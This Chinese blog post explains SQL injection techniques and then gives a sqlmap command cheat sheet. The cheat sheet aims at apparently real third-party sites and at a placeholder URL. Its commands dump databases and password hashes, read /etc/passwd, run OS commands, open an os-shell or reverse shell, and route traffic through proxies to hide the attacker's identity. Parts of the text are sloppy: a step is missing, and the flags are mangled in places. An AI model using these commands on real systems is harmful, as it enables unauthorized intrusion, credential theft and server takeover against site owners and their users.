vlambda博客
学习文章列表

SQL注入原理和Sqlmap常用指令


    SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

特点


1、广泛性

任何一个基于SQL语言的数据库都可能被攻击,很多开发人员在编写Web应用程序时未对从输入参数、Web表单、cookie等接受到的值进行规范性验证和检测,通常会出现SQL注入漏洞。

2、隐蔽性

SQL注入语句一般都嵌入在普通的HTTP请求中,很难与正常语句区分开,所以当前许多防火墙都无法识别予以警告,而且SQL注入变种极多,攻击者可以调整攻击的参数,所以使用传统的方法防御SQL注入效果非常不理想。

3、危害大

攻击者通过SQL注入获取到服务器的库名、表名、字段名,从而获取到整个服务器中的数据,对网站用户的数据安全有极大的威胁。攻击者也可以通过获取到的数据,得到后台管理员的密码,然后对网页页面进行恶意篡改。这样不仅对数据库信息安全造成严重威胁,对整个数据库系统安全也影响重大。

4、操作简便

互联网上有很多SQL注入工具,简单易学,攻击过程简单,不需要专业知识也能自如运用。



SQL注入漏洞详解


    当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。
    这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句,如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。

Sql 注入带来的威胁主要有如下几点

  • 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。

  • 绕过认证,列如绕过验证登录网站后台。

  • 注入可以借助数据库的存储过程进行提权等操作

SQL注入原理和Sqlmap常用指令



注入过程


第一步:SQL注入点探测。探测SQL注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。如果程序员信息安全意识不强,采用动态构造SQL语句访问数据库,并且对用户的输入未进行有效性验证,则存在SQL注入漏洞的可能性很大。一般通过页面的报错信息来确定是否存在SQL注入漏洞。

第二步:收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。判断数据库类型的方法很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断;还可以使用特定函数来判断,比如输入“1 and version()>0”,程序返回正常,说明version()函数被数据库识别并执行,而version()函数是MySQL特有的函数,因此可以推断后台数据库为MySQL。

第三步:猜解用户名和密码。数据库中的表和字段命名一般都是有规律的。通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。

第五步:入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。

SQL注入原理和Sqlmap常用指令


注入方法


    由于编写程序时未对用户输入数据的合理性进行判断,导致攻击者能在SQL Injection的注入点中夹杂代码进行执行,并通过页面返回的提示,获取进行下一步攻击所需的信息。根据输入的参数,可将SQL注入方式大致分为两类:数字型注入、字符型注入。

1、数字型注入

当输入的参数为整型时,如ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。这种数字型注入最多出现在ASP、PHP等弱类型语言中,弱类型语言会自动推导变量类型,例如,参数id=8,PHP会自动推导变量id的数据类型为int类型,那么id=8 and 1=1,则会推导为string类型,这是弱类型语言的特性。而对于Java、C#这类强类型语言,如果试图把一个字符串转换为int类型,则会抛出异常,无法继续执行。所以,强类型的语言很少存在数字型注入漏洞。

2、字符型注入

当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。


攻击手法


1、基于布尔的盲注

因为web的页面返回值都是True或者False,所以布尔盲注就是注入后根据页面返回值来得到数据库信息的一种办法。

2、基于时间的盲注

当布尔型注入没有结果(页面显示正常)的时候,我们很难判断注入的代码是否被执行,也可以说到底这个注入点存不存在?这个时候布尔型注入就无法发挥自己的作用了。基于时间的盲注便应运而生,所谓基于时间的盲注,就是我们根据web页面相应的时间差来判断该页面是否存在SQL注入点。

3、联合查询注入

使用联合查询进行注入的前提是我们要进行注入的页面必须有显示位。所谓联合查询注入即是使用union合并两个或多个SELECT语句的结果集,所以两个及以上的select必须有相同列、且各列的数据类型也都相同。联合查询注入可在链接最后添加order by 9基于随意数字的注入,根据页面的返回结果来判断站点中的字段数目。

4、基于错误信息的注入

此方法是在页面没有显示位,但是echo mysql_error();函数输出了错误信息的时候方能使用。优点是注入速度快,缺点是语句较为复杂,而且只能用limit依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用。


攻击特点


    SQL注入攻击是目前web应用网络攻击中最常见的手段之一,安全风险较高,在一定程度上超过缓冲区溢出漏洞,而市场上的防火墙又不能对SQL注入漏洞进行有效的检测和防范。防火墙为了使正常网络应用程序访问服务器端的数据,必须允许从互联网到Web服务器的正向连接,因此一旦web网络应用程序存在注入漏洞,攻击者就可以获取访问数据库的权利进而获得数据库所在服务器的访问权在某些情况下,SQL注入攻击的风险要高于缓冲区溢出漏洞等所有其他漏洞。SQL注入攻击普遍存在范围广、实现容易、破坏性大等特点。    

    SQL注入攻击者在HTTP请求中输入含有恶意构造的SQL语法且是合法的,只要应用程序中没有做严格的处理那么就会出现SQL注入漏洞危险,目前以PHP、Perl、Cold Fusion Management等技术与Oracle、SQLServer、Sybase、DB2等数据管理系统相结合的Web应用程序都发现有SQL注入漏洞。

    SQL注入技术公布后不久,互联网上出现了很多例如教主的HDSI、NBSI、明小子的Domain等SQL注入工具,对那些存在SQL注入的网站以及Web应用程序进行攻击,很容易就可以获取其服务器的控制权。


Sqlmap简介


    Sqlmap 是一个开源的渗透测试工具,可以用来进行自动化检测,利用 SQL 注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。


常用Sqlmap注入指令

检查注入点

sqlmap.py -u "http://www.scshlx.com/TeachView.asp?id=21"            

列数据库信息

sqlmap -u  "http://www.scshlx.com/TeachView.asp?id=21" --dbs

指定库名列出所有表 //最大搜索线程为10

sqlmap.py -u "http://www.hainanez.com/TeachView.asp?id=33" --tables        

指定库名表名列出所有字段

Mysql注入(有多个库 必须找到有管理员的数据库)

--is-dba            当前用户权限

--dbs            所有数据库

--current-db        网站当前数据库

--users            所有数据库用户

--current-user        当前数据库用户

--tables-D"当前数据库名字"  查表名、

-T"指定的表名"-D"当前数据库名字"--columns 查字段 

Cookie注入(遇到防注入)

sqlmap.py -u "http://www.scshlx.com/TeachView.asp" --cookie"id=21"--level 2   列表名等 在上方代码后面加--tables等;  

–cookie=COOKIE           在需要登录的地方,需要登录后的cookie

–proxy=”http://127.0.0.1:8087″   使用HTTP代理隐藏自己的身份,比如使用goagent等

–sql-query=QUERY                                     执行一个sql语句,不一定支持

sqlmap -u “http://url/news?id=1″ --dbms “Mysql” –users # dbms 

指定数 据库类型

sqlmap -u “http://url/news?id=1″ -- users 列数据库用户

sqlmap -u “http://url/news?id=1″ -- dbs   列数据库

sqlmap -u “http://url/news?id=1″ -- passwords 数据库用户密码

sqlmap -u “http://url/news?id=1″ -- passwords-U root -v 0 #列出指定用户 数据库密码

sqlmap  -u  “http://url/news?id=1″   -- dump  -C  “password,user,id”  -T “tablename”-D “db_name”  –start 1 –stop 20 #列出指定字段,列出20 条

sqlmap -u “http://url/news?id=1″ -- dump-all -v 0 #列出所有数据库所有表

sqlmap -u “http://url/news?id=1″ -- privileges #查看权限

sqlmap -u “http://url/news?id=1″ -- privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色

sqlmap -u “http://url/news?id=1″ -- udf-inject #导入用户自定义函数(获取 系统权限!)

sqlmap -u “http://url/news?id=1″ -- dump-all –exclude-sysdbs -v 0 #列 出当前库所有表

sqlmap -u “http://url/news?id=1″ -- union-cols #union 查询表记录

sqlmap -u “http://url/news?id=1″ -- cookie “COOKIE_VALUE”#cookie注入

sqlmap -u “http://url/news?id=1″ -- b #获取banner信息

sqlmap -u “http://url/news?id=1″ -- data “id=3″#post注入

sqlmap -u “http://url/news?id=1″ - v 1 -f #指纹判别数据库类型

sqlmap -u “http://url/news?id=1″ -- proxy“http://127.0.0.1:8118” #代理注 入

sqlmap -u “http://url/news?id=1″ -- string”STRING_ON_TRUE_PAGE”# 指 定关键词

sqlmap -u “http://url/news?id=1″ -- sql-shell #执行指定sql命令

sqlmap -u “http://url/news?id=1″ -- file /etc/passwd

sqlmap -u “http://url/news?id=1″ -- os-cmd=whoami #执行系统命令

sqlmap -u “http://url/news?id=1″ -- os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell

sqlmap -u “http://url/news?id=1″ -- reg-read #读取win系统注册表

sqlmap -u “http://url/news?id=1″ -- dbs-o “sqlmap.log”#保存进度

sqlmap -u “http://url/news?id=1″ -- dbs -o “sqlmap.log” –resume #恢复 已保存进度 


MYSQL注入思维导图: